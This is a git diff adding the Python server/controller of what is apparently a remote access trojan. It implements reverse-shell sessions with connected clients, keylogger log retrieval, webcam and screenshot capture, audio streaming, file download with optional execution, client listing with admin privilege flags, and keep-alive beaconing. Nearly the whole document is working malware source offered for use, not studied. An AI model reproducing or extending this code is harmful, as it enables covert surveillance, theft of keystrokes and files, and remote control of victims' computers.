'' + for index, moudle_port in enumerate(self.module_ports): + module_ports_data += f'\n {self.theme[2]}- {module_ports_keys[index]}:{Style.RESET_ALL} {self.theme[1]}(Constant: {moudle_port}){Style.RESET_ALL}' + print(f'{self.theme[1]}Options Available:{Style.RESET_ALL}{self.theme[2]}\n - IP: {Style.RESET_ALL}{self.theme[1]}(Constant: {self.ip}){Style.RESET_ALL}{self.theme[2]}\n - PORT: {Style.RESET_ALL}{self.theme[1]}(Constant: {self.port}){Style.RESET_ALL}{self.theme[2]}\n - MODULE PORTS:{Style.RESET_ALL} {module_ports_data}{Style.RESET_ALL}{self.theme[2]}\n - Quick Mode: {quick_mode}\n - Username: {self.username}\n - Theme: {self.theme[-1]}\n - Encoding: {self.encoding}\n - History: {self.history}\n - Whoami: {self.whoami}\n - Notice: {self.console_notice}\n - Duplicates: {self.duplicates}\n{email_info_notice}\n{Style.RESET_ALL}') + + # Set options + elif shell_msg[:3] == 'set': + try: + value = shell_msg[4:].split('=') + assert len(value) == 2 + getVal = value[0].lower().strip() + setVal = value[1].strip() + result = f'{self.theme[2]}Option successfully set:{Style.RESET_ALL} {self.theme[1]}{" ".join([x.capitalize().strip() for x in value[0].split()])}=' + + # Quick mode + if getVal == 'quick mode': + output_bool = False + if setVal == 'true': + output_bool = True + self.history = False + self.whoami = False + self.email_notice[0] = False + elif setVal == 'false': + self.history = True + self.whoami = True + else: + raise Exception('Something went wrong.') + result += str(output_bool) + + # Username + elif getVal == 'username': + self.username = set_username(setVal) + result += self.username + + # Theme + elif getVal == 'theme': + self.theme = set_theme(setVal) + result += self.theme[-1] + + # Encoding + elif getVal == 'encoding': + self.encoding = set_encoding(setVal) + result += self.encoding + + # History + elif getVal == 'history': + if setVal == 'true': + self.history = True + elif setVal == 'false': + self.history = False + else: + raise Exception('Something went wrong.') + result += str(self.history) + + # Whoami + elif getVal == 'whoami': + if setVal == 'true': + self.whoami = True + elif setVal == 'false': + self.whoami = False + else: + raise Exception('Something went wrong.') + result += str(self.whoami) + + # Console notice + elif getVal == 'notice': + if setVal == 'true': + self.console_notice = True + elif setVal == 'false': + self.console_notice = False + else: + raise Exception('Something went wrong.') + result += str(self.console_notice) + + # Duplicates + elif getVal == 'duplicates': + if setVal == 'true': + self.duplicates = True + elif setVal == 'false': + self.duplicates = False + else: + raise Exception('Something went wrong.') + result += str(self.duplicates) + + # Email notice + elif getVal == 'email notice': + if setVal == 'true': + self.email_notice[0] = True + elif setVal == 'false': + self.email_notice[0] = False + else: + raise Exception('Something went wrong.') + result += str(self.email_notice[0]) + + elif getVal == 'email': + if '@' in setVal: + self.email_notice[1] = setVal + result += self.email_notice[1] + else: + raise Exception('Something went wrong.') + + elif getVal == 'password': + if len(setVal) > 0: + self.email_notice[2] = setVal + result += self.email_notice[2] + else: + raise Exception('Something went wrong.') + + elif getVal == 'to': + if len(setVal) > 0: + self.email_notice[3] = setVal.split(',') + result += ', '.join(self.email_notice[3]) + else: + raise Exception('Something went wrong.') + + else: + print(f'{self.theme[2]}Option failed to be set:{Style.RESET_ALL} {self.theme[1]}{getVal.capitalize()} option not found.\n') + continue + + print(f'{result}\n{Style.RESET_ALL}') + except: + print(f'{self.theme[2]}Option failed to be set:{Style.RESET_ALL} {self.theme[1]}Something went wrong.\n{Style.RESET_ALL}') + + # Time + elif shell_msg == 'time': + print(f'{self.theme[2]}Start time: [{Style.RESET_ALL}{self.theme[0]}{Server.runningTime}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}') + print(f'{self.theme[2]}Current time: [{Style.RESET_ALL}{self.theme[1]}{timer()}{Style.RESET_ALL}{self.theme[2]}]\n{Style.RESET_ALL}') + + # Banner + elif shell_msg == 'banner': + banner(self.theme) + + # Clear + elif shell_msg == 'clear' or shell_msg == 'cls': + clear_screen() + + # Exit + elif shell_msg == 'exit' or shell_msg == 'quit': + self.delete_client(':', '*') + print(f'{self.theme[2]}Program start: [{Style.RESET_ALL}{self.theme[3]}{Server.runningTime}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}') + print(f'{self.theme[2]}Program end: [{Style.RESET_ALL}{self.theme[1]}{timer()}{Style.RESET_ALL}{self.theme[2]}]\n{Style.RESET_ALL}') + print(f'{self.theme[4]}Bye!{Style.RESET_ALL}') + os._exit(0) + + else: + print(f'{self.theme[2]}\'{shell_msg}\' is not a valid input.\n\n{Style.RESET_ALL}', end='') + except KeyboardInterrupt: + print(f'{self.theme[4]}Keyboard interrupt{Style.RESET_ALL}') + + + """ + Session provides the program with all the functionality, + takes care of modules & special commands. It allows you + to establish an reverse shell with the built in tools. + But it also allows you to use one command & get the output + & print out the result. + """ + def session(self, conn, target=None, message=None, stdout=True): + # Filter client + Server.filter_client = conn[1][1] + Server.sessionTime = timer() + + if target is None: + clear_screen() + print(f'{self.theme[1]}Connection to {Style.RESET_ALL}{self.theme[2]}{conn[2]}{Style.RESET_ALL}{self.theme[1]}\'s computer has been established!{Style.RESET_ALL}', end='') + + while True: + try: + # Session input + if target is None: + if Server.session_clear_screen: + Server.session_clear_screen = False + print(f'{self.theme[2]}{conn[2]}>{Style.RESET_ALL}{self.theme[3]}', end='') + else: + print(f'\n\n{self.theme[2]}{conn[2]}>{Style.RESET_ALL}{self.theme[3]}', end='') + msg = readInput(self.encoding, Server.keep_alive_timer * 2) + else: + msg = message + Server.msg = msg + if Server.msg.lower() == 'stream': + Server.msg = f'stream {self.ip}:{self.module_ports[0]}' + elif Server.msg[:3].lower() == 'cam' and len(Server.msg.split()) == 3: + args = Server.msg.split() + Server.msg = f'cam {self.ip}:{self.module_ports[1]} {args[1]} {args[2]}' + elif Server.msg.lower() == 'audio': + Server.msg = f'audio {self.ip}:{self.module_ports[2]}' + elif Server.msg.lower() == 'keylogger': + Server.msg = f'keylogger {self.ip}:{self.module_ports[3]}' + elif Server.msg.lower() == 'talk': + Server.msg = f'talk {self.ip}:{self.module_ports[4]}' + # Stdout msg + stdout_save = Server.msg + # Save stdout + if Server.msg[-5:].lower() == '-b -i' or Server.msg[-5:].lower() == '-i -b': + Server.msg = Server.msg[:-6] + elif Server.msg[-2:].lower() == '-b' or Server.msg[-2:].lower() == '-i': + Server.msg = Server.msg[:-3] + pickled_msg = pickle.dumps({'message': Server.msg}) + compressed_msg = zlib.compress(pickled_msg, 1) + encrypted_msg = Server.encrypt.do_encrypt(compressed_msg) + final_msg = bytes(f'{len(encrypted_msg):<{Server.headersize}}', self.encoding) + encrypted_msg + + # Running modules + if Server.msg.lower() == 'running': + print(f'{self.theme[1]}Modules Running:\n - Stream: {stream_info()}\n - Cam: {cam_info()}\n - Audio: {audio_info()}\n - Keylogger: {keylogger_info()}\n - Talk: {talk_info()}{Style.RESET_ALL}', end='') + if target is None: + continue + else: + Server.filter_client = None + break + + # Stream + elif Server.msg[:6].lower() == 'stream': + try: + if Server.msg[7:11].lower() == 'kill': + try: + print(f'{self.theme[1]}{set_stream_settings(Server.msg[12:])}{Style.RESET_ALL}', end='') + except: + print(f'{self.theme[1]}Failed to kill stream.{Style.RESET_ALL}', end='') + if target is None: + continue + else: + Server.filter_client = None + break + + dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Stream'] + setup_directory(dirs) + threading.Thread(target=Stream, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Stream', conn[2]], daemon=True).start() + except: + print(f'{self.theme[1]}Stream failed to run (server).{Style.RESET_ALL}', end='') + if target is None: + continue + else: + Server.filter_client = None + break + + # Cam + elif Server.msg[:3].lower() == 'cam': + try: + if Server.msg[4:8].lower() == 'kill': + print(f'{self.theme[1]}{set_cam_settings(Server.msg[9:])}{Style.RESET_ALL}\n') + if target is None: + continue + else: + Server.filter_client = None + break + + args = Server.msg[4:].split() + cam_size = args[2].split(',') + address = args[0].split(':') + assert len(Server.msg.split()) == 4 and len(cam_size) == 2 and len(address) == 2 + cam_size = tuple([int(cam_size[0]), int(cam_size[1])]) + dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Cam'] + setup_directory(dirs) + threading.Thread(target=Cam, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Cam', conn[2], cam_size], daemon=True).start() + except: + print(f'{self.theme[1]}Cam failed to run (server).{Style.RESET_ALL}\n') + if target is None: + continue + else: + Server.filter_client = None + break + + # Audio + elif Server.msg[:5].lower() == 'audio': + try: + if Server.msg[6:10].lower() == 'kill': + print(f'{self.theme[1]}{set_audio_settings(Server.msg[11:])}{Style.RESET_ALL}', end='') + if target is None: + continue + else: + Server.filter_client = None + break + + dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Audio'] + setup_directory(dirs) + threading.Thread(target=Audio, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Audio', conn[2]], daemon=True).start() + except: + print(f'{self.theme[1]}Audio failed to run (server).{Style.RESET_ALL}', end='') + if target is None: + continue + else: + Server.filter_client = None + break + + # Keylogger + elif Server.msg[:9].lower() == 'keylogger': + try: + if Server.msg[10:14].lower() == 'kill': + print(f'{self.theme[1]}{set_keylogger_settings(Server.msg[15:])}{Style.RESET_ALL}', end='') + if target is None: + continue + else: + Server.filter_client = None + break + elif Server.msg[10:14].lower() == 'text': + try: + data = get_logs(int(Server.msg[15:])) + print(f'{self.theme[1]}{data[1]}{Style.RESET_ALL}', end='') + except: + print(f'{self.theme[1]}Failed to type logs.{Style.RESET_ALL}', end='') + if target is None: + continue + else: + Server.filter_client = None + break + elif Server.msg[10:15].lower() == 'image': + try: + data = get_logs(int(Server.msg[16:])) + assert data[0] is not None + dirs = ['Data', f'Data/{data[0]}', f'Data/{data[0]}/Keylogger', f'Data/{data[0]}/Keylogger/Images'] + setup_directory(dirs) + fn = time.strftime('%Y-%m-%d (%H-%M-%S).png') + image = text_image(data[1]) + image.show() + image.save(f'{os.getcwd()}/{dirs[-1]}/{fn}') + print(f'{self.theme[1]}Logs visualization complete!{Style.RESET_ALL}', end='') + except: + print(f'{self.theme[1]}Failed to visualize logs.{Style.RESET_ALL}', end='') + if target is None: + continue + else: + Server.filter_client = None + break + + dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Keylogger'] + setup_directory(dirs) + threading.Thread(target=Keylogger, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Keylogger', conn[2]], daemon=True).start() + except: + print(f'{self.theme[1]}Keylogger failed to run (server).{Style.RESET_ALL}', end='') + if target is None: + continue + else: + Server.filter_client = None + break + + # Talk + elif Server.msg[:4].lower() == 'talk': + try: + if Server.msg[5:9].lower() == 'kill': + print(f'{self.theme[1]}{set_talk_settings(Server.msg[10:])}{Style.RESET_ALL}', end='') + if target is None: + continue + else: + Server.filter_client = None + break + + dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Talk'] + setup_directory(dirs) + threading.Thread(target=Talk, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Talk', conn[2]], daemon=True).start() + except: + print(f'{self.theme[1]}Talk failed to run (server).{Style.RESET_ALL}', end='') + if target is None: + continue + else: + Server.filter_client = None + break + + # Upload + if Server.msg[:6].lower() == 'upload': + try: + dirs = ['Data', 'Uploads'] + setup_directory(dirs) + args = Server.msg[7:] + if Server.msg[-2:].lower() == '-e': + args = Server.msg[7:-3] + with open(f'{os.getcwd()}/{dirs[-1]}/{args}', 'rb') as f: + pickled_msg = pickle.dumps({'message': Server.msg, 'image': f.read()}) + compressed_msg = zlib.compress(pickled_msg, 1) + encrypted_msg = Server.encrypt.do_encrypt(compressed_msg) + final_msg = bytes(f'{len(encrypted_msg):<{Server.headersize}}', self.encoding) + encrypted_msg + conn[0].send(final_msg) + except: + print(f'{self.theme[1]}Uploading {args} failed, please try again.{Style.RESET_ALL}', end='') + if target is None: + continue + else: + print('\n') + Server.filter_client = None + break + + # Note + elif Server.msg[:4].lower() == 'note': + try: + note = Server.msg[5:].split('=>') + assert len(note) == 2 + if note[0] == '': + note[0] = 'global' + if note[1] == '': + raise Exception('Note message is empty.') + dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Notes'] + setup_directory(dirs) + with open(f'{os.getcwd()}/{dirs[-1]}/{note[0].strip()}.txt', 'a') as f: + f.write(f'{note[1].strip()} [{time.strftime("%Y-%m-%d %H:%M-%S")}]\n') + print(f'{self.theme[1]}Note{Style.RESET_ALL}{self.theme[3]} {note[0].strip()}.txt{Style.RESET_ALL}{self.theme[1]} written to complete!', end='') + except: + print(f'{self.theme[1]}Writing note failed, please try again.', end='') + if target is None: + continue + else: + print('\n') + Server.filter_client = None + break + + # Whoami + elif Server.msg.lower() == 'whoami': + info = '' + for typez, item in conn[4]: + info += f'\n{self.theme[1]}{typez}: {Style.RESET_ALL}{self.theme[3]}{item}{self.theme[1]}' + print(f'{self.theme[1]}USER: {self.theme[3]}{conn[2]}{Style.RESET_ALL}{self.theme[1]}\nADMIN: {self.theme[3]}{conn[3]}{Style.RESET_ALL}{self.theme[1]}\nIP: {Style.RESET_ALL}{self.theme[3]}{conn[1][0]}{Style.RESET_ALL}{self.theme[1]}\nPORT: {Style.RESET_ALL}{self.theme[3]}{conn[1][1]}{Style.RESET_ALL}{info}', end='') + if target is None: + continue + else: + print('\n') + Server.filter_client = None + break + + # Session time + elif Server.msg.lower() == 'time': + print(f'{self.theme[1]}Session Start: [{Style.RESET_ALL}{self.theme[0]}{Server.sessionTime}{Style.RESET_ALL}{self.theme[1]}]{Style.RESET_ALL}') + print(f'{self.theme[1]}Current time: [{Style.RESET_ALL}{self.theme[2]}{timer()}{Style.RESET_ALL}{self.theme[1]}]{Style.RESET_ALL}', end='') + if target is None: + continue + else: + print('\n') + Server.filter_client = None + break + + # Clear + elif Server.msg.lower() == 'clear' or Server.msg.lower() == 'cls': + clear_screen() + if target is None: + Server.session_clear_screen = True + continue + else: + Server.filter_client = None + break + + # Exit + elif Server.msg.lower() == 'exit' or Server.msg.lower() == 'quit': + print(f'{self.theme[2]}Session start: [{Style.RESET_ALL}{self.theme[0]}{Server.runningTime}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}') + print(f'{self.theme[2]}Session end: [{Style.RESET_ALL}{self.theme[1]}{timer()}{Style.RESET_ALL}{self.theme[2]}]\n{Style.RESET_ALL}') + print(f'{self.theme[4]}{conn[2]}\'s session quit successfully!\n{Style.RESET_ALL}') + # Reset filter client + Server.filter_client = None + break + + # Send to client + else: + conn[0].send(final_msg) + + # Receive from client + while True: + # Recived buffer + client_msg = conn[0].recv(81920) + + # New msg + if Server.new_msg: + Server.msg_len = int(client_msg[:Server.headersize]) + Server.new_msg = False + + # Append to full_msg + Server.full_msg += client_msg + + # Recived full msg + if len(Server.full_msg)-Server.headersize == Server.msg_len: + decrypted_msg = Server.encrypt.do_decrypt(Server.full_msg[Server.headersize:]) + decompressed_msg = zlib.decompress(decrypted_msg) + client_msg = pickle.loads(decompressed_msg)['message'].replace('ÿ', ' ') + pickled_data = pickle.loads(decompressed_msg) + result = f'{self.theme[1]}{client_msg}{Style.RESET_ALL}' + + # Download + if Server.msg[:8].lower() == 'download': + try: + assert pickled_data['download'] + dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Downloads'] + setup_directory(dirs) + args = Server.msg[9:] + if Server.msg[-2:].lower() == '-e': + args = Server.msg[9:-3] + with open(f'{os.getcwd()}/{dirs[-1]}/{args}', 'wb') as f: + f.write(pickled_data['download']) + if Server.msg[-2:].lower() == '-e': + Popen(f'{os.getcwd()}/{dirs[-1]}/{args}', shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) + except: + pass + finally: + print(result, end='') + + # Download screenshot + elif Server.msg.lower() == 'screenshot' or Server.msg.lower() == 'screenshot -s': + try: + dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Screenshots'] + setup_directory(dirs) + fn = time.strftime('%Y-%m-%d (%H-%M-%S).png') + img = Image.fromarray(pickled_data['screenshot'], 'RGB') + img.save(f'{os.getcwd()}/{dirs[-1]}/{fn}') + if Server.msg[-2:].lower() == '-s': + img.show() + except: + pass + finally: + print(result, end='') + + # Download webcam screenshot + elif Server.msg[:6].lower() == 'webcam': + try: + dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Webcam'] + setup_directory(dirs) + fn = time.strftime('%Y-%m-%d (%H-%M-%S).png') + img = Image.fromarray(pickled_data['webcam']) + b, g, r = img.split() + img = Image.merge('RGB', (r, g, b)) + img.save(f'{os.getcwd()}/{dirs[-1]}/{fn}') + if Server.msg[-2:].lower() == '-s': + img.show() + except: + pass + finally: + print(result, end='') + + # Save stdout & as an image + elif stdout_save[-5:].lower() == '-b -i' or stdout_save[-5:].lower() == '-i -b': + try: + dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Stdout', f'Data/{conn[2]}/Stdout', f'Data/{conn[2]}/Stdout/Images'] + setup_directory(dirs) + fn = time.strftime('%Y-%m-%d (%H-%M-%S)') + # Text + with open(f'{os.getcwd()}/{dirs[-2]}/{stdout_save[:-6]}--{fn}.txt', 'wb') as f: + f.write(bytes(client_msg, self.encoding)) + # Image + image = text_image(client_msg) + image.show() + image.save(f'{os.getcwd()}/{dirs[-1]}/{stdout_save[:-6]}--{fn}.png') + print(result, end='') + except: + print(f'{self.theme[1]}Failed to backup command & image result.\n\n{Style.RESET_ALL}', end='') + + # Save stdout + elif stdout_save[-2:].lower() == '-b': + try: + dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Stdout'] + setup_directory(dirs) + fn = time.strftime('%Y-%m-%d (%H-%M-%S).txt') + with open(f'{os.getcwd()}/{dirs[-1]}/{stdout_save[:-3]}--{fn}', 'wb') as f: + f.write(bytes(client_msg, self.encoding)) + print(result, end='') + except: + print(f'{self.theme[1]}Failed to backup command result.\n\n{Style.RESET_ALL}', end='') + + # Save stdout as an image + elif stdout_save[-2:].lower() == '-i': + try: + dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Stdout', f'Data/{conn[2]}/Stdout/Images'] + setup_directory(dirs) + fn = time.strftime('%Y-%m-%d (%H-%M-%S).png') + image = text_image(client_msg) + image.show() + image.save(f'{os.getcwd()}/{dirs[-1]}/{stdout_save[:-3]}--{fn}') + print(result, end='') + except: + print(f'{self.theme[1]}Failed to backup image result.\n\n{Style.RESET_ALL}', end='') + + # Print stdout + else: + if stdout: + print(result, end='') + + # Reset + Server.new_msg = True + Server.msg_len = 0 + Server.full_msg = b'' + break + except KeyboardInterrupt: + print(f'{self.theme[4]}Keyboard interrupt{Style.RESET_ALL}') + if target is None: + continue + else: + break + except TimeoutError: + print(f'{self.theme[4]}Your session has timed out, because of inactivity,\nor by having submitted an empty response.\n{Style.RESET_ALL}') + # Reset filter client + Server.filter_client = None + break + except KeyError: + # Reset filter client + Server.filter_client = None + break + except: + if stdout: + print(f'{self.theme[0]}Session start: [{Server.sessionTime}]{Style.RESET_ALL}{Style.RESET_ALL}') + print(f'{self.theme[1]}Session end: [{timer()}]{Style.RESET_ALL}') + print(f'{self.theme[4]}\nLost connection to client\n{Style.RESET_ALL}') + # Reset filter client + Server.filter_client = None + if target is not None: + return True + break + if target is not None: + if stdout: + print(end='\n\n') + Server.filter_client = None + break + + + """ + To send simple text message, not handling for + any modules or special commands like screenshot + or download. + """ + def send_message(self, conn, message): + pickled_msg = pickle.dumps({'message': message}) + compressed_msg = zlib.compress(pickled_msg, 1) + encrypted_msg = Server.encrypt.do_encrypt(compressed_msg) + final_msg = bytes(f'{len(encrypted_msg):<{Server.headersize}}', self.encoding) + encrypted_msg + conn.send(final_msg) + + while True: + # Recived buffer + client_msg = conn.recv(81920) + + # New msg + if Server.new_msg: + Server.msg_len = int(client_msg[:Server.headersize]) + Server.new_msg = False + + # Append to full_msg + Server.full_msg += client_msg + + # Recived full msg + if len(Server.full_msg)-Server.headersize == Server.msg_len: + decrypted_msg = Server.encrypt.do_decrypt(Server.full_msg[Server.headersize:]) + decompressed_msg = zlib.decompress(decrypted_msg) + client_msg = pickle.loads(decompressed_msg)['message'] + + # Reset + Server.new_msg = True + Server.msg_len = 0 + Server.full_msg = b'' + return client_msg + + + """ + Doesn't skip printing out connection if an index is cut out of the list, + it also handles for long list. It handles for no connections & removing + dead connections. It also displays the correct index even after deleting + a connection before others in the list. + + To achieve this: + * Set connection no None + * Set index to -1 for every deleted connection + * Handle for long flag + * Handle for 0 connections + """ + def list_connections(self, l): + len_conns = len(Server.connections) + results = '' + i = 0 + for index, conn in enumerate(Server.connections): + index += i + try: + x = self.session(self.getConn(index), True, 'aij4oaw4orn12u9w5ar7', False) + if x is not None: + raise Exception('Connection Error') + info = '' + + if l: + for typez, item in Server.information[index]: + info += f'\n{self.theme[2]}{typez}{Style.RESET_ALL}{self.theme[2]}[{Style.RESET_ALL}{self.theme[3]}{item}{self.theme[2]}]' + + if l and len_conns > 1: + info += '\n' + + results += f'{self.theme[2]}{Server.usernames[index]}[{Style.RESET_ALL}{self.theme[3]}{index}{Style.RESET_ALL}{self.theme[2]}] ADMIN[{Style.RESET_ALL}{self.theme[3]}{Server.priveldges[index]}{Style.RESET_ALL}{self.theme[2]}] IP[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[index][0]}{Style.RESET_ALL}{self.theme[2]}] PORT[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[index][1]}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}{info}\n' + except: + Server.connections[index] = None + len_conns -= 1 + i -= 1 + + for i, conn in enumerate(Server.connections): + if conn is None: + self.delete_client(i, Server.usernames[i]) + + counter = f'{self.theme[2]}Number of connected clients ({Style.RESET_ALL}{self.theme[3]}{len_conns}{Style.RESET_ALL}{self.theme[2]})\n{Style.RESET_ALL}{self.theme[3]}{"-" * (30 + len(str(len_conns)))}\n{Style.RESET_ALL}' + + if len_conns == 0: + results = f'{results}{self.theme[1]}No clients connected\n{Style.RESET_ALL}' + + if l and len_conns > 1: + print(f'{self.theme[2]}{counter}{results}{Style.RESET_ALL}', end='') + else: + print(f'{self.theme[2]}{counter}{results}{Style.RESET_ALL}') + + + """ + Delete client is a vital method to clean up & remove + any unwanted connection, it's used all throughout the + program if the connection is lost or is wanted to be closed. + """ + def delete_client(self, index, user): + if self.history: + now = time.strftime('%Y-%m-%d (%H-%M-%S)') + + if user == '*': + for i, conn in enumerate(Server.connections): + dirs = ['Data', f'Data/{Server.usernames[i]}'] + setup_directory(dirs) + with open(f'{os.getcwd()}/Data/{Server.usernames[i]}/History.txt', 'a') as f: + msg = f'DISCONNECTED: ({now})' + f.write(f'{msg}\n{"-" * len(msg)}\n') + else: + dirs = ['Data', f'Data/{user}'] + setup_directory(dirs) + with open(f'{os.getcwd()}/Data/{user}/History.txt', 'a') as f: + msg = f'DISCONNECTED: ({now})' + f.write(f'{msg}\n{"-" * len(msg)}\n') + + if self.console_notice: + now = time.strftime('%H:%M') + msg = '' + if user == '*' or index == ':': + msg = 'All clients disconnected.' + else: + msg = f'{Server.usernames[index]} Disconnected. ({now})\nAddress: {Server.addresses[index][0]}:{Server.addresses[index][1]}' + now = time.strftime('%H:%M') + Server.toaster.show_toast('Disconnection Notice!', msg, icon_path=None, duration=5, threaded=True) + + if index == ':': + for connection in Server.connections: + connection.close() + del Server.connections[:] + del Server.addresses[:] + del Server.usernames[:] + del Server.priveldges[:] + del Server.information[:] + else: + try: + Server.connections[index].close() + except: + pass + del Server.connections[index] + del Server.addresses[index] + del Server.usernames[index] + del Server.priveldges[index] + del Server.information[index] + + + """ + GetConn provides the complete data available for + a specific user with the index as the only criteria. + This method is passed in when calling session for + user specific interaction. + """ + def getConn(self, target): + conn = Server.connections[target] + addr = Server.addresses[target] + username = Server.usernames[target] + privledge = Server.priveldges[target] + info = Server.information[target] + return (conn, addr, username, privledge, info) + + + """ + KeepAlive provides data to be sent to every client in + order to prevent the socket being closed after inactivity. + This is vital especially when dealing with multiple clients + & would be alot of effort to keep them all alive manually. + Without this method most Windows sockets close after 10 minutes + of inactivity. + """ + def keepAlive(self): + while True: + counter = 0 + + while counter < Server.keep_alive_timer: + time.sleep(1) + counter += 1 + + if counter == Server.keep_alive_timer: + for index, conn in enumerate(Server.connections): + if Server.addresses[index][1] != Server.filter_client: + try: + self.send_message(conn, 'aij4oaw4orn12u9w5ar7') + except: + self.delete_client(index, Server.usernames[index]) + break + + + """ + These three methods is simply queuing up & threading + the main methods of the Server class to work asynchronously. + """ + def workers(self): + for _ in range(Server.threads): + threading.Thread(target=self.work, daemon=True).start() + + + def work(self): + while True: + work = Server.q.get() + if work == 1: + self.listen() + self.accept() + if work == 2: + self.shell() + Server.q.task_done() + + + def create_jobs(self): + for job in Server.jobs: + Server.q.put(job) + Server.q.join() + + +""" + Instantiate the Server object with the parsed arguments + provided by the argparse module & run the neccesary + methods as long as it is ran from the main file. +""" +if __name__ == '__main__': + try: + db_data = get_module_data() + server = Server(db_data[1], db_data[2], args.username, args.theme, args.encoding, args.notice, args.email_notice.split(','), args.duplicates, args.whoami, args.history, args.banner, db_data[3].split(',')) + server.workers() + server.create_jobs() + except: + os._exit(0) \ No newline at end of file -- cgit v1.2.3